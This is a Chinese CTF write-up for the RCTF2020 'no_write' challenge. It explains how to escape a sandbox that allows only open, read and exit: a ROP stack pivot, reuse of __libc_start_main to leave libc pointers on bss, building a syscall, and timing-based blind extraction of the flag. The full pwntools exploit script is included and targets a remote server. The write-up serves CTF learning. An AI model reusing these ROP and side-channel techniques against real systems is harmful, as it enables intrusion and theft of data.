RCTF2020_nowrite(libc_start_main的妙用+盲注)

RCTF2020_nowrite(libc_start_main的妙用+盲注)

首先,檢查一下程序的保護機制

檢測一下沙箱,發現僅能進行open、read、exit操作,write操作都不行。

然後,我們用IDA分析一下,是一個及其簡短的棧溢出程序

程序中沒有輸出,並且write也禁用了,也沒有open函數,execve也禁用了,FULL RELRO也不能進行ret2dl,那麼本題只能進行盲注,我們還需要構造出一個open系統調用。但是幾乎沒有可用的地方可以給我們構造。

找到一條有用的gadgets,如果在bss段上有一個libc某指針,通過這個gadget可以讓其指向syscall,這樣我們就可以構造open系統調用了。

但是bss段上沒有這樣的指針,如果有stdout,那麼我們可以利用,但是這裏沒有。由此,想到了libc_start_main。

我們可以先將棧遷移到bss段上,然後調用libc_start_main重啓某函數,這樣,在bss上就會留下很多libc指針,但是我們不能重啓main函數了,因爲裏面有prctl函數,而prctl調用被禁了。由此,我們可以重啓read_n函數,繼續輸出,劫持自己的返回地址,然後就又可以做rop了。

當在bss段上留下libc指針後,我們就通過gadget將其修改爲syscall的地址,然後構造open、read將flag讀取到內存當中。

接下來,就是盲注了,在csu上,有一個cmp指令非常有用,我們可以令rbp的低1自己保存着flag對應偏移的1字節,rbp其餘字節全爲0,然後,我們從rop裏傳入rbx的值爲我們猜測的字符,這樣cmp比較,成功後會向下執行pop,我們在後面再佈置合適的rop,將棧轉移到前面進行重複的cmp,相當於是一個死循環;如果比較失敗,則jnz會跳到前面,

然後執行call的時候,會崩潰。

如何來讓rbp僅保存flag的1字節是重點。

f

 

l

 

a

 

\x00

 

\x00

 

\x00

 

\x00

 

\x00

 

\x00

 

\x00

 

比如,我們要盲注第3個字符,我們讀取3個符,將它存儲到rbp-0x2的位置,這樣,第3個字符就落到了rbp的位置,同理,我們盲注第n個字符時,從文件中讀取n個字節,將它存儲到rbp-n+1的位置,而rbp始終是這個地址。如何將值保存到rbp裏呢,我們使用棧遷移,這樣在leave;ret的時候,pop rbp就將數據存儲到了rbp裏,接下來就會執行後面的rop,因此,我們在bss段上任意找一個地方,保證其8字節爲0,以後,我們就將rbp固定在這,然後事先在這後面佈置好rop,接下來flag讀取存儲到這裏後,棧遷移過來進行cmp等操作。

#coding:utf8
from pwn import *

elf = ELF('./no_write')
read_n = 0x00000000004006BF
read_got = elf.got['read']
main_addr = 0x00000000004006E8
ret = 0x000000000040070C

pop_rbp = 0x0000000000400588
#pop rdi ; ret
pop_rdi = 0x0000000000400773
#pop rsi ; pop r15 ; ret
pop_rsi = 0x0000000000400771
#pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
pop = 0x000000000040076b
#pop rbx;pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
csu_pop = 0x000000000040076A
cmp_rbx_rbp = 0x0000000000400761
#leave_ret
leave_ret = 0x000000000040067c
'''
.text:00000000004005B0                 mov     rdx, r15
.text:00000000004005B3                 mov     rsi, r14
.text:00000000004005B6                 mov     edi, r13d
.text:00000000004005B9                 call    qword ptr [r12+rbx*8]
.text:00000000004005BD                 add     rbx, 1
.text:00000000004005C1                 cmp     rbp, rbx
.text:00000000004005C4                 jnz     short loc_4005B0
'''
csu_call = 0x0000000000400750

bss_addr = 0x0000000000601080

call_libc_start_main = 0x0000000000400544

#add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
add_dp_rbp = 0x00000000004005e8

new_stack = bss_addr + 0x600

def blind(index,guess_char):
   #第一步做棧遷移,遷移到bss
   payload = 'a'*0x18 + p64(pop_rdi) + p64(new_stack+0x8) + p64(pop_rsi) + p64(0x00000000006015D0) + p64(0) + p64(read_n)
   payload += p64(pop_rbp) + p64(new_stack) + p64(leave_ret)
   #raw_input()
   sleep(0.2)
   sh.send(payload)
   sleep(0.2)
   #raw_input()
   bss_start = 0x0000000000601078
   #接下來,我們在bss段上,調用read,然後劫持read自己的返回棧
   payload = p64(pop_rdi) + p64(read_n + 0x1C) + p64(call_libc_start_main)
   sh.send(payload)
   #raw_input()
   sleep(0.2)
   #現在,在bss上面,保留了libc指針,通過rop,我們將其值修改爲syscall的地址
   target_syscall = 0x00000000006015C0
   #flag文件名字符串的地址
   flag_addr = 0x0000000000601708

   rop = p64(csu_pop)
   rop += p64(0x10000000000000000-0x2) #rbx = -2
   rop += p64(target_syscall + 0x3D) #rbp
   rop += p64(0) #r12
   rop += p64(0) #r13
   rop += p64(0) #r14
   rop += p64(0) #r15
   rop += p64(ret) * 11
   rop += p64(add_dp_rbp)
   #target_syscall後續的rop,是靠當前這個read來輸入的
   rop += p64(pop_rdi) + p64(target_syscall + 0x8) + p64(pop_rsi) + p64(0x1000) + p64(0) + p64(read_n)
   #read_n(bss,2)使得rax爲2
   rop += p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0x2) + p64(0) + p64(read_n)
   rop += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0)*2
   #棧遷移到那個target_syscall前方,這樣我們就可以執行syscall了
   rop += p64(pop_rbp) + p64(target_syscall - 0x8) + p64(leave_ret)
   rop += './flag\x00'
   sh.send(rop)
   sleep(0.2)
   #raw_input()

   rop_addr = 0x00000000006015C8
   flag_addr = rop_addr + 0x200
   #此次用於輸入rop2
   rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0x1000) + p64(0) + p64(read_n)
   #盲注邏輯
   rop += p64(csu_pop)
   rop += p64(0) + p64(1)
   rop += p64(read_got)
   #通過將存儲flag的地址位置上移動,達到讀取下一個字符的作用
   rop += p64(3) + p64(flag_addr-index) + p64(0x1+index)
   rop += p64(csu_call)
   rop += p64(0)
   #rbx = guess_char
   rop += p64(ord(guess_char))
   #rbp
   rop += p64(flag_addr)
   rop += p64(0)*4
   #棧遷移到flag裏面,使得rbp保存了flag的1字節數據
   rop += p64(leave_ret)
   sleep(0.2)
   sh.send(rop)
   #raw_input()
   #使得rax爲2
   sh.sendline('a')
   #rop2
   #如果盲注成功,棧重新轉移回去,一直比較,使得程序一直處於一個循環,達到延時的目的,不成功則直接崩潰
   rop2 = '\x00'*8 + p64(cmp_rbx_rbp) + p64(0)
   #rbx 重新賦值爲guess_char
   rop2 += p64(ord(guess_char))
   #rbp重新轉到flag_addr處
   rop2 += p64(flag_addr)
   rop2 += p64(0)*4
   #棧重新回去
   rop2 += p64(leave_ret)
   #raw_input()
   sleep(0.2)
   sh.sendline(rop2)

#blind(1,'C')
#flag裏面可能出現的字符
possible_char = []
possible_char.append('_')
#字符的順序可以影響效率,讓頻率最高的字符放前面
for x in range(0,10):
   possible_char.append(str(x))
for x in range(ord('A'),ord('Z')+1):
   possible_char.append(chr(x))
for x in range(ord('a'),ord('z')+1):
   possible_char.append(chr(x))

possible_char.append('{')
possible_char.append('}')
possible_char.append('\x00')
OK = False
#flag = 'RCTF{C0mpare_f1ag_0ne_bY_oNe}'
flag = ''
index = 0
while not OK:
   print 'guess (',index,') char'
   length = len(flag)
   for guess_char in possible_char:
      global sh
      #sh = process('./no_write')
      sh = remote('129.211.134.166',6000)
      blind(index,guess_char)
      start = time.time()
      sh.can_recv_raw(timeout = 3)
      end = time.time()
      sh.close()
      if end - start > 3:
         if guess_char == '\x00':
            OK = True
         flag += guess_char
         print 'success guess char at(',index,')'
         index+=1
         break;
   print 'flag=',flag
   if length == len(flag):
      OK = True
      print 'ojbk!'

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章